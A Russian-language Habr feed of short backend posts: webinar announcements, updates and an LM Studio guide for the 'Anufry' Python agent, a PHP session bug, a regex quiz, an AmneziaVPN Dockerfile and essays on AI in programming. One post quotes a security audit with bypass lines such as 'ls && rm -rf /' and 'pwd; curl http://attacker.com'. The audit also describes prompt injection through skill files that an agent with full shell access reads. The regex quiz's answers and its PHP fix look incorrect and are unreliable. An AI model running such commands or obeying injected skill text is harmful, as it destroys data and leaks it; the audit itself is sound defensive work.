Обновить

Бэкенд

Сначала показывать
Порог рейтинга

18 июня в 16:00 (Мск) состоится бесплатный вебинар «Rust: зачем выбирать этот язык в 2026 году?». Разберем, как Rust устраняет проблемы безопасности памяти и data races, сохраняя производительность уровня C++. Также развеем мифы про обучение Rust в 2026 году и обсудим гибридный подход интеграции с C++ через C-ABI.

На вебинаре:

✔️ Rust в 2026: цифры, тренды, кейсы

✔️ Проблемы C/C++ (use-after-free, data races) и как Rust их устраняет на уровне компиляции

✔️ Система владения и заимствования: примеры кода

✔️ Производительность: Rust vs C++ (бенчмарки)

✔️ Инструментарий: Cargo vs CMake

✔️ Гибридный подход: интеграция Rust с C++ через C-ABI

✔️ Кривая обучения в 2026 году: мифы и реальность

Предварительная подготовка:

Базовое понимание работы с памятью в C/C++ и общее представление о компиляции. Знание синтаксиса Rust не требуется.

📆 Когда: 18 июня, 16:00 — 17:00 (Мск)

👨‍🎓 Спикер: Самсонов Максим, эксперт в области разработки ПО (C/C++, Python, Rust, TypeScript, Java, JavaScript, R)

👉 Записаться

Теги:
Всего голосов 1: ↑1 и ↓0+3
Комментарии0

Агент Ануфрий v.1.0.0

Последний апдейт конструктора для создания собственных ассистентов на Python включил в себя оптимизацию токенов и скорости. Агент стал в 3 раза экономичнее.

Добавлена ленивая загрузка инструментов. Вместо отправки всех 24 встроенных инструментов сразу, агент получает 6 базовых, включая tool_use, через который доступны остальные 20.

Инструменты разбиты на категории. Каждая категория — одно определение в системной промпте, вместо отдельной схемы для каждого действия.

Системный промпт стал компактнее в 3 раза.

Кэширование cистемного промпта и определния инструментов в OpenAI/OpenRouter (90% скидка):

  • добавлены заголовки для идентификации проекта в OpenRouter

  • в OpenAI кэширование работает автоматически за счет стабильного системного промпта

Добавлено клиентское кэширование для локальных LLM (экономим немного времени CPU на пересоздании промпта).

Добавлено логирование токенов на каждой итерации для наглядности.

Результат оптимизации: экономия около 75% токенов на каждом запросе. Работать с API стало значительно дешевле, а на локальных LLM заметно комфортнее.

При этом архитектура проекта сохранила свою простоту и читаемость.

Репозиторий: github/AgentAnufry

Теги:
Всего голосов 1: ↑1 и ↓0+3
Комментарии0

В стране копирующих продуктов.

Как сейчас помню. Прилетает баг. Пользователь-кассир видит закупочную цену. Исправил. Прилетает баг. Пользователь-управляющий видит не закупочную цену, а цену продажи. Фиксить нельзя рефакторить.

М-да, предшественники старались знатно, чтобы сделать такое колесо обозрения костылей и вложенных условных операторов. Но ничего! Уж я-то всё всем докажу и всё везде исправлю навсегда!

Настарался не менее знатно, что-то постоянно не сходилось. Ну, не могли полтора десятка человек быть абсолютным злом. Или я в самом загадочном месте планеты, или причина в другом. Я стал искать, перебирать бэклог, группировать бэклог и вышел на… планирование. На его отсутствие.

Ладно, не вышел. Был свидетелем. Как от спринта к спринту задачи не были связаны друг с другом. Сегодня мы делаем турникет, завтра апельсин, потом кузнечика, потому что срочно нужна наковальня, а у нас итерационный продукт! Если останется время, то переведём бабушку с ангуляра на рякт, если нет — дедушку, но закончить до сентября! Что будет через два месяца? Верно, бабка с дедом посреди дороги висят на турнике в шубах на рыбьем меху. А? Поняли? Поняли? Рыбий мех — кузнечный мех! Это аджайл, мамкина норка! Нет времени уточнять, тебе ещё апельсин чистить.

И вроде бы фантастика, ложь, абсурд! Но одна недоделанная фича сменяет другую и мы из созвона в созвон гоняем запятую по «фиксить нельзя рефакторить», ведём разговоры о техническом долге. Только долг оказывается концептуальным.

Как и в любой сказке, в стране копирующих продуктов привычные нам вещи отзеркалены, так и концептуальный долг представляет собой не эхо ошибок, а отсутствие будущего из-за виляния — как хвостом — настоящего. В котором табаки-менеджменту снится, что он запускает ракеты, но всё равно просыпается убыточным стартапом.

Вы помните этого персонажа из Книги Джунглей. Не шибко опасен, не шибко умен, но он повсюду со своими мантрами. Если концепцию продукта можно представить в виде компаса, по которому можно сверяться и потому свободно перемещаться по пути к большой цели, то табаки-менеджмент не имеет такого компаса, он ориентируется на слухи: куда подул ветер, туда и развернут продукт. Это бизнес! Бизнес зовут! Подобное мельтешение ведёт к джунглям из спагетти-кода, что при первом приближении кажется техническим долгом.

Табаки-менеджмент этому рад, он может даже с пониманием относиться к рефакторингу, но при всей внешней дружелюбности он одёрнет вашего коллегу и попросит сделать вот эту срочную фичу и разобраться вот с этим важным клиентом. Клиент ушёл, фича никому не нужна, а ваш рефакторинг — это ваш рефакторинг.

Теги:
Всего голосов 3: ↑3 и ↓0+5
Комментарии0

Собрали новую подборку заказов с Биржи Инфостарта. В этот раз в списке — задачи, которые появились с 4 по 9 июня: отчеты, обновления, интеграции, синхронизация, аналитика и проектная работа по 1С.

Есть как небольшие разовые задачи, так и заказы, где нужно глубже погрузиться в проект. На этой неделе заказчики ищут аналитиков, разработчиков и консультантов 1С. Встречаются задачи по ERP, БП, УНФ, УТ, «Управлению холдингом», MDM/Data Quality, обменам и внешним интеграциям.

Среди новых заказов:

Подборка подойдет специалистам, которые работают с типовыми и доработанными конфигурациями 1С, занимаются отчетами, обновлениями, обменами, интеграциями и проектной аналитикой. Если сейчас есть свободное время — можно взять небольшую задачу. Если хочется более плотного участия — в списке есть и проектные работы.

Биржа заказов Инфостарта - это раздел, где заказчики публикуют задачи по 1С, а исполнители откликаются напрямую. Форматы разные: консультация, небольшая доработка, отчет, настройка обмена, интеграция с внешним сервисом, обновление конфигурации или сопровождение проекта.

Для работы через Биржу доступны:

  • 0% комиссии площадки;

  • прямой обмен контактами;

  • исполнители разного масштаба — от частных специалистов до ИТ-команд;

  • безопасная сделка по желанию;

  • рейтинги, кейсы и история откликов.

Посмотрите свежие заказы и выберите задачу, которая подходит под ваш опыт и загрузку.

Теги:
Всего голосов 4: ↑4 и ↓0+6
Комментарии0

Карьера в ИТ в 2026 году: как выбрать направление и пройти отбор

16 июня в 19:00 Центр «Пуск» МФТИ проведет открытую онлайн-встречу о карьерных траекториях в ИТ.

Kar'era-v-razrabotke.jpg
Kar'era-v-razrabotke.jpg

Встреча будет полезна тем, кто планирует развиваться в ИТ, выбирает между frontend, backend и embedded, готовится к собеседованиям или хочет усилить резюме.

В программе:

— выбор направления в разработке: frontend, backend, embedded;

— soft skills, которые важны для ИТ-специалиста в 2026 году;

— позиционирование на собеседовании;

— ИИ в разработке и найме;

— рынок найма в ИТ и ожидания компаний;

— ИИ-рекрутинг: мифы и реальность;

— метакомпетенции, которые помогают получить офер;

— управление воронкой найма;

— резюме: структура, акценты, типичные ошибки.

Спикеры: Иван Балашов — руководитель разработки в крупном iGaming-провайдере, имеет 10+ лет коммерческого опыта в бэкенд-разработке. Участвовал в запуске Ozon.Invest, а также создавал биллинговую систему для торговой платформы, которая обслуживала более 2 млн трейдеров.

Елизавета Знова — карьерный консультант, 4+ года в сфере HR. Менеджер по сопровождению персонала в компании «Контур». Помогает клиентам составлять резюме, успешно проходить воронку найма и расти в ИТ-ролях.

📅 Дата и время: 16 июня, 19:00 (Мск) Формат: онлайн

Регистрация на встречу:

✅ ВК https://vk.com/app6379730_-224205661#l=19&auto=1

✅ Telegram https://t.me/mipt_events_bot?start=dl-1780649003233

Теги:
Всего голосов 1: ↑1 и ↓0+3
Комментарии0

Если что, Агент Ануфрий работает на любых системах, он кроссплатформенный.

Прямо сейчас он пыхтит на Windows и за 0 руб./токен ломает сайт Пентагона, ведь запущен на локальной модели qwen3-14b на древнем железе.

Агент Ануфрий - это open source-конструктор для создания собственных ассистентов на Python. Базовый агент уже мультиплатформенный, с долговременной памятью, автоматизацией браузера через CDP/Playwright, трекером задач, и системой навыков.

Репозиторий: AgentAnufry

Теги:
Всего голосов 5: ↑0 и ↓5-5
Комментарии1

Tencent UniRL: единый RL-цикл для диффузии, LLM и unified-моделей

Команда Tencent Hunyuan выложила UniRL, инфраструктуру для обучения с подкреплением, в которой один цикл пост-тренинга работает поверх разных семейств моделей: диффузионных и flow matching, LLM и VLM, а также гибридных авторегрессионно-диффузионных генераторов вроде Hunyuan-Image 3 и Bagel.

Обычный RL-стек заточен под одну модальность. Как только нужно покрыть и текст, и картинки, и видео, проект обрастает несовместимыми репозиториями и скриптами-костылями. В UniRL модель и алгоритм разведены на две независимые оси, поэтому покрытие считается как произведение множества моделей на множество алгоритмов, а не фиксированный набор рецептов.

Сам цикл устроен просто: сгенерировали, оценили, посчитали advantage, обновили веса, синхронизировали. Этот же луп обслуживает генерацию text-to-image, text и image-to-video, vision-language задачи, чистый текстовый LLM и VLM, диффузионный prompt-enhancer на базе LLM и unified-генерацию, которую однозадачный RL-репозиторий просто не выразит.

По инженерной части все сделано под масштаб. Движки rollout подключаются как плагины (train-side, SGLang, vLLM-Omni) за единым типизированным контрактом, шардинг идет через FSDP2, а три режима развертывания переключаются одним параметром в конфиге. Прототип и распределенный прод живут на одном коде.

В релизе два собственных алгоритма. FlowDPPO оптимизирует политику для flow и диффузионных моделей с trust-region масками на основе точной дивергенции. DRPO делает RL для языковых моделей с гладким квадратичным регуляризатором, взвешенным по advantage.

Ссылки: код UniRL https://github.com/Tencent-Hunyuan/UniRL, статья FlowDPPO https://github.com/Tencent-Hunyuan/UniRL/blob/main/FlowDPPO/HY_FlowDPPO.pdf, статья DRPO https://arxiv.org/abs/2606.09821, источник https://x.com/TencentHunyuan/status/2064312869827809702

Теги:
Всего голосов 3: ↑3 и ↓0+5
Комментарии0

Гайд: запуск автономного агента Ануфрия на локальной модели с LM Studio на Linux

Агент Ануфрий - это open source-конструктор для создания собственных ассистентов на Python. Базовый агент уже мультиплатформенный, с долговременной памятью, автоматизацией браузера через CDP/Playwright, трекером задач, и системой навыков.

Репозиторий: AgentAnufry

Для быстрого запуска нам хватит безголового (без графического интерфейса) демона llmster (https://lmstudio.ai/). Команда в терминале:

curl -fsSL https://lmstudio.ai/install.sh | bash

Перезапустите терминал или добавьте директорию lms командой, которая будет выведена в терминале.

Запускаем:

lms daemon up

Качаем нужную LLM модель (чем больше, тем умнее, но требует больше ресурсов): https://lmstudio.ai/models Для примера возьмем небольшую модель:

lms get qwen/qwen3.5-9b

После скачивания подгружаем модель в память:

lms load qwen/qwen3.5-9b

В .env скопируйте эту конфигурацию:

# ============================================
# LM Studio Configuration (Local) - ACTIVE
# ============================================
LLM_PROVIDER=lmstudio
LLM_API_KEY=lm-studio
LLM_BASE_URL=http://localhost:1234/v1
LLM_MODEL=deepseek/deepseek-r1-0528-qwen3-8b

# ============================================
# Embeddings Configuration (Local) - ACTIVE
# ============================================
# Используем локальную embeddings модель из LM Studio
EMBEDDINGS_PROVIDER=lmstudio
EMBEDDINGS_MODEL=text-embedding-nomic-embed-text-v1.5
EMBEDDINGS_BASE_URL=http://localhost:1234/v1
EMBEDDINGS_API_KEY=lm-studio

# ============================================
# Дополнительные параметры
# ============================================
LLM_TEMPERATURE=0.1
LLM_MAX_TOKENS=4096
LLM_TIMEOUT=300
MAX_ITERATIONS=20

Запустите lms сервер:

lms server start --port 1234 &

или

lms server start

Порт по умолчанию будет 1234

Запустите агента.

Шпаргалка с командами lms:

# запустить демон
lms daemon up

# запуск/остановка сервера
lms server start
lms server stop

lms server status        # статус сервера
lms ps                   # загруженные в память модели
lms ls                   # список скачанных моделей

# остановить текущую модель
lms unload

# выгрузить все модели из памяти
lms unload --all

# получить список доступных моделей
lms ls

# Удалить конкретную модель
lms rm qwen/qwen3.5-9b

# Или удалить несколько моделей
lms rm model1 model2 model3

Важно!

Чем слабее ваше железо, тем меньше модель вы сможете использовать, с меньшим объемом контекстного окна. Объем контекста в базовой версии агента (системный промпт + описание инструментов) в районе 6к товенов, это много.

Для работы с небольшими моделями сожмите системный промпт и описание инструментов или удалите лишнее (файл main.py)

Теги:
Всего голосов 3: ↑2 и ↓1+3
Комментарии10

Лучше не сохраняйте в сессии PHP объекты с защищенными или приватными свойствами, если сама сессия хранится в БД.

Оговорюсь, что не поддерживаю сохранение объектов в сессиях PHP, а пример взят из Legacy-проекта, в котором компонент рекомендованных продаж клиенту реализован в виде класса. Видимо предыдущие разработчики посчитали удобным не париться с сохранением рекомендаций в виде отдельной структуры, а сохраняли класс прямо в сессию клиента. Сами сессии хранятся в БД MySQL (тоже тема для отдельной дискуссии).

Всё это отлично работало до переезда БД на кодировку utf8mb4_general_ci. После чего начались плавающие ошибки: некоторых пользователей стало выкидывать из ПУ. Довольно быстро определили, что проблема с сессиями, чуть больше времени потребовалось, чтобы определить, что некоторые сессии внезапно становились битыми у тех клиентов, для которых срабатывал сервис подбора рекомендаций.

Немного теории. Оказалось, что PHP сохраняет свойства объектов в сессии с определенными особенностями:

  • публичные свойства `public $item` сохраняются как item

  • защищенные свойства `protected $item` сохраняются как \0*\0item

  • приватные свойства `private $item` сохраняются как \0ClassName\0item

причем \0 это нулевой байт. Главной проблемой стало то, что MySQL воспринимал этот нулевой байт как конец строки и сохранял в таблицу обрезанную строку. Сессия становилась невалидной.

Самое простое решение в данном случае изменить тип поля на BLOB, в этом случае текст корректно сохранится побайтово. По поводу вопроса, стоит ли сохранять объекты в сессию пользователя, каждый думаю решит для себя сам.

Теги:
Всего голосов 2: ↑2 и ↓0+4
Комментарии0

Ваш худший кошмар, или простой regex, который удивит даже опытных программистов.

re.match(r"^abc$", "abc\n") # python
/^abc$/.test("abc\n") // Javascript
preg_match("/^abc$/", "abc\n"); // PHP

Не читайте дальше, попробуйте угадать какой вывод будет у каждого из вариантов?

False?

True ?

Правильный ответ:

False
True
False

Живите с этим :)

Всё дело в том, что в PCRE $ означает не "конец строки", а "конец строки, или позиция перед \n в конце строки". А в ECMAScript это не так.

Лично я думал, что должно быть False, но регулярные выражения продолжают меня удивлять спустя много лет.

Правильный regex для точного совпадения с концом строки:

re.match(r"^abc\Z", "abc\n")
// javascript идеален, нечего исправлять :)
preg_match("/^abc\p/", "abc\n")

== false

Теги:
Всего голосов 10: ↑7 и ↓3+8
Комментарии3

📕🤖🧠  Сейчас собираю очередной пет-проект с помощью ИИ, где пытаюсь добиться повторяемости результата, через задание правил и переиспользования промтов. Изначально использовал закладочку в Microsoft OneNote, потом для удобства сделал маркдаун файл в самом проекте, и задал правило для агента - записывать оригинальный промт в этот файл после использования, если он длиннее 100 символов (Т.е. инициирующий промт, а не корректирующий); Вроде бы норм.

Решил посмотреть, что есть на рынке:

1) Питонячая эвент-библиотека, для записи промтов в SQL - https://pypi.org/project/prompt-logger/. Бесполезная штука, ибо используется исключительно в коде под капотом у интерфейсов чат-ботов. Не то, что надо.

2) Всякие умные буферы обмена, которые сохраняют то, что вы копируете и складывают по категориям. Типа:https://www.promptbox.ai

3) Здоровенные оболочки поверх АПИ-LLM систем, которые в целом по аналогии с питоном перехватывают все запросы и складируют их по категориям. https://www.braintrust.dev

В общем: правило в агента и MD файлик, что хранится в самом проекте и трекается git - the best!

Хотел бы услышать опыт ребят, по двум вопросам:

1) Насколько вы считаете полезным хранить промты, что вы используете?
2) Если вы их храните, то как вы это делаете?

Теги:
Всего голосов 1: ↑1 и ↓0+3
Комментарии0

Что посмотреть на неделе: брокеры сообщений, Kubernetes и ИИ‑агенты

Привет, Хабр. На этой неделе в OTUS пройдет серия бесплатных уроков для тех, кто работает с архитектурой, инфраструктурой, разработкой, аналитикой и ИИ‑инструментами.

Будет много практики: выбор брокера сообщений, деплой Java‑приложения в Kubernetes, мониторинг распределённых систем, создание AI‑ассистентов и интеграция ИИ‑агентов в рабочую разработку.

Все уроки бесплатно проводят преподаватели в рамках курсов. Можно прийти на один вебинар по своей задаче или собрать мини‑маршрут на неделю.

Архитектура и backend

  • 8 июня, 19:00. «RabbitMQ vs Kafka. Как выбрать подходящий брокер сообщений?». Записаться
    разберём, чем отличаются RabbitMQ и Kafka, в каких задачах они работают лучше и как выбрать брокер под архитектуру проекта.

  • 15 июня, 20:00. «Системы обмена сообщениями: RabbitMQ и Kafka». Записаться
    поговорим об устройстве систем обмена сообщениями и сценариях, где брокеры помогают строить устойчивые распределённые решения.

Инфраструктура и эксплуатация

  • 8 июня, 20:00. «Java в Kubernetes за 40 минут: как задеплоить приложение в Minikube». Записаться
    покажем, как подготовить Java‑приложение к запуску в Kubernetes и развернуть его локально через Minikube.

  • 10 июня, 20:00. «Мониторинг распределённых систем». Записаться
    разберём, как отслеживать состояние сложных систем, быстрее находить проблемы и не теряться в метриках, логах и алертах.

ИИ в рабочих процессах

  • 11 июня, 20:00. «Создаём ИИ‑ассистента для системного аналитика за 1 час». Записаться
    покажем, как ИИ может помогать аналитику в рабочих задачах: от обработки требований до подготовки артефактов.

  • 15 июня, 20:00. «Интеграция ИИ‑агентов в рабочую разработку: обвязка агента навыками и MCP». Записаться
    разберём, как расширять возможности ИИ‑агента с помощью навыков и MCP, чтобы он был полезен в реальном рабочем процессе.

  • 15 июня, 20:00. «Создаём AI‑ассистента и интегрируем его в Telegram». Записаться
    покажем, как собрать AI‑ассистента и подключить его к Telegram для пользовательских сценариев.

Команды и процессы

  • 11 июня, 20:00. «Внутри Scrum: как работают мастер, владелец и команда». Записаться
    разберём, как на практике распределяются роли в Scrum и почему процесс часто ломается не из‑за фреймворка, а из‑за его применения.

Больше уроков собрали в дайджесте — можно выбрать темы под свою роль, стек и задачи на ближайший месяц.

Теги:
Всего голосов 3: ↑2 и ↓1+3
Комментарии0

Агент Ануфрий и безопасность, что не так?

Спасибо всем, кто проявил интерес к проекту, и сейчас хотел бы уделить внимание теме безопасности.

Напомню, основная идея проекта - дать инженерам и энтузиастам простую базовую конструкцию мультизадачного агента с т.н. искусственным интеллектом для пробуждения интереса к теме разработки ИИ-агентов на базе больших языковых моделей.

Структура максимально упрощена, чтобы вы могли за незначительное время переработать модули агента частично или полностью:

  • заменить БД или изменить правила работы с памятью

  • усовершенствовать или переписать встроенные навыки

  • добавить новые инструменты для работы в интернете

  • улучшить обработку модульных скиллов

  • оптимизировать работу с LLM

Вместе с тем, Ануфрий имеет полный доступ к Shell, о чем он предупреждает при запуске. Конечно, имеются некотрые встроенные ограничения, в целях безопасности, но они не ультимативные. Т.е. если сильно захотеть, агент сможет даже свой собственный код перписать и перезапуститься в обновленной форме через крон-функцию, например.

У этого есть плюс: не обязательно добавлять ему какие-то инструменты для выполнения новых задач, он может нахимичить их сам. Но есть и минус: если агент запущен в неизолированной среде, он может положить систему наглухо.

Если вы планируете использовать эту базу для разработки серьезного агента под бизнес-цели, вам следует учесть выводы аудита по безопасности, который провел Наиль Шакуров на GitHub. Далее полная цитата:

В ходе аудита кода проекта обнаружены серьезные проблемы с безопасностью, которые позволяют выполнять произвольный код на хост-системе пользователя.

Выполнение произвольного shell-кода через уязвимый черный список В файле tools/shell.py используется shell=True в subprocess.run(command, shell=True). При этом ограничение ALLOWED_COMMANDS проверяет только начало строки. Проблема: LLM-агент может легко обойти этот фильтр, используя конвейеры или разделители команд (например, ls && rm -rf / или pwd; curl http://attacker.com). Черный список неэффективен. Решение: Использовать shell=False и передавать команды списком аргументов, либо полностью изолировать среду исполнения (Docker/микровиртуалки). Неконтролируемый chmod 755 в раннере навыков В файле tools/skills_runner.py функция os.chmod(script_path, 0o755) делает исполняемыми любые файлы из папки навыков без предварительной валидации их содержимого. -Проблема: В сочетании с возможностью записи файлов это позволяет агенту создавать и запускать любые бинарные файлы или скрипты на хосте.

Prompt Injection через файлы навыков Файлы SKILL.md считываются напрямую и подмешиваются в системный промпт (skills/loader.py). При наличии недоверенного источника навыков это ведет к инъекции инструкций, заставляющих агента выполнить вредоносные действия через shell.

Отсутствие валидации путей (Path Traversal) в поиске файлов Функция search_files в tools/filesystem.py не проверяет выход за пределы рабочего каталога (workspace), в отличие от функций чтения и записи файлов.

Репозиторий проекта: GitHub > AgentAnufry

Теги:
Всего голосов 1: ↑1 и ↓0+3
Комментарии0

Ближайшие события

впечатлялся )))
впечатлялся )))

Сегодня к вечеру я совсем обленился и решил доверить нейронке storege создать
к коннектору в библиотеку redb.route используя redb
Изучала дольше чем писала. 😊 Накидала в одну сессию за один проход с тестами.
__
Аудитория: разработчики уже подключают DSL-маршруты к redb.Route, которые хотят, чтобы LLM был полноценным пользователем конвейера - с памятью, бюджетом, разрешениями и аудиторским журналом, а не HTTP—вызовом без сохранения состояния, который ничего не оставляет после себя.
единый линейный маршрут.Услуги.AddRedbLlmStorage() — переключает цикл работы агента с "забывает все при перезапуске" на постоянную систему по умолчанию. Все пять поверхностей (расшифровки, утверждения, бюджеты, идемпотентность, аудит) перемещаются в redb. Ни одна строка кода маршрута не меняется — ваш существующий .To("llm://claude") начинает сохраняться сам по себе.

Теги:
Всего голосов 5: ↑3 и ↓2+3
Комментарии0

А вы еще помните, как было?

Падает ошибка. Ты читаешь трейсбек снизу вверх, цепляешься за знакомое слово, криво копируешь часть из терминала. Половину строки, с лишним пробелом. Открываешь Google.

Первая ссылка ведёт на StackOverflow. Вопрос 2014 года. Принятый ответ заминусован, а рабочий лежит третьим снизу. Сорок голосов, комментарий «this saved my life».Ты его даже не копируешь, потому что случай всё равно другой. Но ты уже понял, в чём было дело.

Иногда уходишь на старый форум, на 23 страницу давно заброшенной темы. Последнее сообщение датировано 2015 годом. Аватарки битые, половина ссылок ведёт в никуда. И вдруг там, между «спасибо, помогло» и «у меня то же самое», сидит человек, который разобрал твою проблему по косточкам. Для себя. Не зная, что однажды его ответ спасёт кого-то ещё.

А иногда не находишь вообще ничего. Везде посмотрел, и пусто.Чёрт с ним, спрошу сам.Сидишь, формулируешь вопрос. Подбираешь слова. Прикладываешь минимальный пример, потому что иначе заминусуют. И сама эта формулировка наполовину чинит тебе мозги.

Жмёшь «отправить». Ждёшь. Обновляешь вкладку. И вот он, ответ от незнакомца, которому просто не всё равно.

Сейчас ты выделяешь трейсбек, не дочитав до конца, и пишешь: «почини».

И он чинит.

Работает. Тесты зелёные. Можно идти дальше.

Но где-то в этот момент из профессии исчезает важная часть ритуала. Та самая, где ты не просто получал ответ, а прожёвывал проблему. Злился, тупил, копался в чужих обсуждениях и постепенно начинал понимать, что вообще происходит.

Раньше ошибка была дверью. Сейчас она всё чаще становится всплывающим окном, которое хочется закрыть как можно быстрее.

И в этом есть что-то страшное.

Профессия программиста всегда держалась именно на привычке разбираться. На внутреннем упрямстве: «я хочу понять, почему оно сломалось».

А теперь у нас появился идеальный способ этого не делать.Да, мы стали быстрее. Да, мы стали продуктивнее. Да, назад никто не пойдёт.

Но вместе с болью отладки мы выкидываем и кое что важное.И, кажется, однажды мы проснёмся в мире, где код всё ещё пишется, ошибки всё ещё чинятся, продукты всё ещё выкатываются, но всё меньше людей действительно понимают, как это работает.

Вот это и пугает.

Не то, что ИИ заберёт работу.

А то, что он оставит нам работу, но постепенно заберёт профессию.

Давайте вместе смотреть на то, как меняется разработка, заглядывайте в мой Telegram-канал.

Теги:
Всего голосов 15: ↑14 и ↓1+13
Комментарии10

Собрал клиент AmneziaVPN для Ubuntu 22
...и сделал это через Dockerfile, который Вы можете отредактировать для любого дистрибутива

Зачем понадобилось

Свежие блокировки Роскомнадзора отрезали меня от различных VPN, которыми я периодически пользовался для доступа к зарубежным продуктам, официально в РФ не представленным. Например, к Gemini.

Моей последней надеждой стала self-hosted Амнезия. Я восстановил доступ на всех своих устройствах, кроме одного - домашнего ПК под GPU-вычисления, работающего на Ubuntu 22.04.

Последние версии клиента AmneziaVPN 22-ю убунту не поддерживают: релизы для Linux собираются на Ubuntu 24.04, поэтому есть ограничения в поддержке дистрибутивов из-за версии glibc.

Как это может помочь другим

22-я убунта - это всего лишь пример. Если Ваши вкусы специфичны, да настолько, что AmneziaVPN не работает на выбранном дистрибутиве, докерфайл с лёгкостью можно адаптировать. Единственная дистрибутиво-зависимая часть в докерфайле - вызов apt-get

Что сделано

Я подготовил докерфайл, который из чистого образа ubuntu:22.04 устанавливает Qt и все прочие зависимости, качает репозиторий клиента AmneziaVPN, собирает проект и готовит инсталлятор. Выходная сборка, for my best knowledge, аналогична релизам авторов проекта. Вот здесь PR в официальный репозиторий со всеми объяснениями.

Я писал докерфайл в личных целях, мог что-то не учесть, открыт к критике и предложениям.

Как воспользоваться

Подготовка

Докерфайл качает официальный Qt-инсталлятор (я работал по инструкции вот здесь), поэтому потребуются активный Qt-аккаунт и IP-адрес не из РФ. Qt запрещает скачивания по российским IP-адресам. Нужно либо включить VPN, либо собирать на хостинге за пределами РФ (например, Казахстан). Да, я знаю, что это недостаток - пока не придумал, что с этим делать.

По умолчанию инсталлятор Qt смотрит на учётные данные в файле $HOME/.local/share/Qt/qtaccount.ini. Этот файл прокидывается в докер, поэтому он должен быть на машине для сборки. Если этого файла нет, можно перед запуском докера скачать любой GUI/CLI установщик Qt и пройти в нём страницу логина. Если не хочется возиться с инициализацией аккаунта на машине, то я оставил лазейку по прямой передаче логопасса в докер.

Сборка

Скачать мой форк репозитория, перейти в папку с ним и запустить докер.

Если настраивали аккаунт Qt:

DOCKER_BUILDKIT=1 docker build \
--secret id=qt_credentials,src=$HOME/.local/share/Qt/qtaccount.ini \
--file docker/ubuntu-22.04.Dockerfile --tag amnezia-ubuntu22 \
--output=./.build-dockerfile/ .

Если раскомментировали в докерфайле поддержку прямой передачи логопасса:

DOCKER_BUILDKIT=1 docker build \
--build-arg QT_CREDENTIAL_LOGIN="****@gmail.com" \
--build-arg QT_CREDENTIAL_PASSWORD="********" \
--file docker/ubuntu-22.04.Dockerfile --tag amnezia-ubuntu22 \
--output=./.build-dockerfile/ .

Клиент будет лежат в папке, указанной в --output

По умолчанию репозиторий использует ветку dev:

# Can use either branch or tag
ARG REPO_REVISION="dev"

(из того же докерфайла)

Это основная ветка проекта, соот-но возьмётся самый последний коммит, что может привести к ошибкам. Можно выбрать тэг с версией через

--build-arg REPO_REVISION="4.8.15.4"

Тэги с недавними релизами клиента AmneziaVPN
Тэги с недавними релизами клиента AmneziaVPN

Запуск

Клиент AmneziaVPN для работы требует несколько зависимостей, которые нужно установить через пакетный менеджер. Выдержка из официальной инструкции:

For Ubuntu you need to install xcb plugin: apt install libxcb-cursor0 libxcb-xinerama0 libxcb-icccm4 libxcb-keysyms1 libopengl0 libxkbcommon-x11-0

Теги:
Всего голосов 2: ↑2 и ↓0+5
Комментарии0

Сегодня Go востребован для промышленной разработки бэкенда и микросервисов. Переход на него с Java или Python часто замедляется не из-за синтаксиса, а из-за незнания встроенных возможностей Go. Увидеть разницу можно на живых примерах одного и того же кода, который мы подробно обсудим 8 июня на бесплатном вебинаре «Go за час: почему вы перестанете писать на Java/Python».

За 60 минут разберём живое сравнение «как то же самое пишется на Python/Java и на Go», типичные ошибки перехода и встроенные инструменты из коробки — от автоформатирования и бенчмарков до кросс-компиляции одной командой. Все участники получат готовый план освоения языка до уровня Middle+ за четыре недели и поймут, как повысить свою рыночную стоимость с помощью современного инструмента для микросервисов и высоконагруженных систем.

На вебинаре:

✍️ Почему Go? Стоит ли в 2026 учить еще один язык?

✍️ Простота и ясность без классов и наследования.

✍️ Встроенная конкурентность. Горутины, каналы и мьютексы.

✍️ Инструменты из коробки. Разработка без тонны фреймворков.

✍️ Сборка и кросс-компиляция.

✍️Типичные проблемы. Игнорирование ошибок, гонки и при чем тут указатели?

📆 Когда: 8 июня, 17:00 — 18:00 (Мск)

👨‍🎓 Спикер: Власов Евгений — эксперт в области Backend-разработки, Golang, Python, архитектуры ПО.

👉 Записаться на вебинар👈

На вебинаре расскажем про ключевые отличия Go от привычных языков, а чтобы системно освоить промышленные инструменты рекомендуем курс «Golang-разработчик». Программа ориентирована на формирование навыков, необходимых для промышленной разработки на Go: асинхронная коммуникация через очереди сообщений, тестирование, профилирование (pprof) и трейсинг (OpenTelemetry/Jaeger). Старт: 16 июня. Места ещё есть.

👉Записаться на курс👈

Теги:
Всего голосов 2: ↑1 и ↓1+2
Комментарии0

⚡️ OpenAI раздаёт ChatGPT Pro на 6 месяцев владельцам open-source проектов.

В рамках программы Codex for Open Source можно получить:

• 6 месяцев ChatGPT Pro  

• доступ к Codex и GPT-5.5 Pro  

• API-кредиты  

• Codex Security  

Заявка простая: нужно отправить ссылку на свой репозиторий и коротко объяснить, зачем проект важен и как Codex поможет его улучшить.

Больше шансов у тех, у кого есть:

• активный GitHub-профиль  

• несколько публичных репозиториев  

• звёзды на проектах  

• нормальная история коммитов  

Если у вас есть живой open-source проект, это один из самых простых способов получить ChatGPT Pro на полгода бесплатно.

https://openai.com/ru-RU/form/codex-for-oss/

Теги:
Всего голосов 5: ↑4 и ↓1+6
Комментарии0

AGI близко. Технологии уже развились так сильно, что Claude Code, словно закалённый нереалистичными дедлайнами и сомнительным менеджментом офисный работяга, делает десяти-пятнадцатиминутные перекуры по несколько раз в день.

Теги:
Всего голосов 4: ↑4 и ↓0+6
Комментарии0

Агентские скиллы: как применить их в разработке

Привет, меня зовут Дима Васильев, я бэкенд-разработчик в Doubletapp. В этом тексте коротко расскажу, как эффективно управлять кодовыми ассистентами с помощью агентских скиллов.

Ассистенты уже умеют читать репозиторий, править файлы и запускать команды, но им часто не хватает контекста команды: как оформлять задачи, какие проверки запускать, как работать со стендами и где нужно подтверждение. Для этого и нужны агентские скиллы. 

Скилл — это инструкция для ИИ-помощника: когда её применять, по каким шагам действовать, какие шаблоны и команды использовать. В открытой спецификации Agent Skills скилл обычно оформляется как папка с SKILL.md; рядом могут лежать скрипты, справки и шаблоны.

Подход уже поддерживают разные кодовые ассистенты. GitHub Copilot работает с agent skills в режиме агента, Copilot CLI и облачном агенте. Codex поддерживает скиллы в командной строке, расширении и приложении. Claude Code тоже работает со скиллами через SKILL.md. Поэтому речь не про один инструмент, а про общий способ описывать повторяемые действия команды рядом с кодом.

Кейс 1. Описание проделанной работы

Разработчик закончил задачу, а дальше её должны подхватить тестировщики, аналитики или другие разработчики. Часто в задаче остаётся короткое «сделал», хотя нужно больше контекста.

